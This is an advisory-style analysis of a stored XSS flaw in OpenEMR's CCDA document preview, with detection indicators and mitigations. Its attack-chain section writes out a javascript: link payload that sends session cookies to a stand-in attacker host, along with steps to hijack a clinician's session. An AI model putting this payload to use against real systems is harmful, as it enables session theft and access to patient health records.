CVE-2026-33932: 
OpenEMR vulnerability analysis and mitigation

CVE-2026-33932 is a stored cross-site scripting (XSS) vulnerability in OpenEMR's CCDA document preview functionality, classified as High severity. It affects all OpenEMR versions prior to 8.0.0.3 (i.e., ≤ 8.0.0.2). The flaw was disclosed on March 25–26, 2026, with a patch released the same day. It carries a CVSS v3.1 base score of 7.6 (High) per the GitHub Security Advisory, though NVD records a score of 5.4 (Medium) (GitHub Advisory, Feedly).

The root cause (CWE-79) lies in the XSL stylesheet interface/modules/zend_modules/public/xsl/cda.xsl, which provides an output-attrs template (lines 1707–1751) that sanitizes attributes for narrative elements such as paragraph, content, table, td, and th — but the linkHtml template (lines 1775–1779) uses xsl:copy-of select="@*" to copy all attributes verbatim without invoking output-attrs. This allows href="javascript:..." URIs and event handler attributes (e.g., onmouseover) to pass through unchanged into the rendered HTML. The previewDocumentAction() method in EncountermanagerController.php applies this XSLT transformation and echoes the result with no Content-Security-Policy header and no output encoding. Compounding the risk, core OpenEMR session cookies are explicitly non-httpOnly (SessionConfigurationBuilder::forCore() sets cookie_httponly = false), making session tokens directly accessible via document.cookie (GitHub Advisory, Patch Commit).

Successful exploitation enables an attacker to execute arbitrary JavaScript in the browser session of any clinician or administrator who previews a malicious CCDA document. Because session cookies are non-httpOnly, the attack can directly exfiltrate session tokens, enabling full session hijacking, unauthorized access to Protected Health Information (PHI) via authenticated API requests, and privilege escalation from a low-privileged user to an administrator. The vulnerability has no availability impact but poses high confidentiality risk and low integrity impact within the changed scope of the victim's browser session (GitHub Advisory).

No public proof-of-concept exploit code has been observed, and there is no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.031% (0.000310), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated attacker with document-upload privileges, but the attack surface is broadened by multiple upload vectors including the Documents UI, REST API, Direct Messaging, and ZIP import (Feedly, GitHub Advisory).

1. Gain upload access: Obtain an OpenEMR account with document-upload privileges, or leverage an integration pathway such as Direct Messaging, the REST API, or ZIP import that allows CCDA document submission.
2. Craft malicious CCDA: Create a minimal, schema-valid CCDA XML document containing a linkHtml element with a malicious href attribute, e.g., <linkHtml href="javascript:fetch('https://attacker.com/?c='+document.cookie)">Click me</linkHtml> inside any narrative block.
3. Upload the document: Submit the crafted CCDA as a patient document in the CCDA/CCD category via the Documents UI, REST API endpoint, Direct Messaging, or ZIP import.
4. Wait for victim interaction: Wait for a clinician or administrator to open the patient's document tree and click the uploaded CCDA document, triggering the preview via previewDocumentAction().
5. Trigger payload: When the victim clicks the rendered link in the CCDA preview, the javascript: URI executes in their browser session context, exfiltrating the non-httpOnly session cookie to the attacker's server.
6. Hijack session: Use the stolen session cookie to authenticate as the victim clinician or administrator, gaining full access to PHI and OpenEMR administrative functions (GitHub Advisory).

• Network: Outbound HTTP requests from a clinician's browser to unexpected external domains immediately after previewing a CCDA document; requests containing URL-encoded document.cookie values in query parameters.
• Logs: OpenEMR access logs showing requests to previewDocumentAction() or the CCDA preview endpoint followed by unusual outbound connections; document upload events for CCDA files from low-privileged accounts.
• File System: Presence of CCDA XML files in the patient documents directory containing javascript: URI schemes or event handler attributes (e.g., onmouseover, onclick) within linkHtml elements.
• Application: Unexpected session activity from a clinician's account (e.g., API calls, record access) originating from a different IP or user-agent than the authenticated session (GitHub Advisory).

Upgrade OpenEMR to version 8.0.0.3 or later, which patches the issue by modifying the linkHtml template in cda.xsl to call output-attrs and enforce safe link rendering (adding rel="noopener noreferrer" and target="_blank") (Patch Commit, Release Notes). As interim mitigations if immediate patching is not possible: restrict CCDA document upload capabilities to the most trusted users only; consider disabling the CCDA document preview feature; and implement a Content-Security-Policy header to block inline script execution. Additionally, enabling cookie_httponly = true for session cookies would reduce the impact of any XSS exploitation (GitHub Advisory).

The vulnerability was reported by researchers pavelkohout396 and simecek, with remediation developed by kojiromike, as credited in the GitHub Security Advisory. A Bluesky post from cyberhub.blog noted the disclosure shortly after publication. The advisory was also covered by security aggregators including infinitsec.net and thehackerwire.com. The issue was part of a broader 8.0.0.3 release that addressed 38 security vulnerabilities in OpenEMR, which was highlighted by Aisle in a blog post noting critical security issues in healthcare software used by 100,000+ providers (GitHub Advisory, Aisle Blog).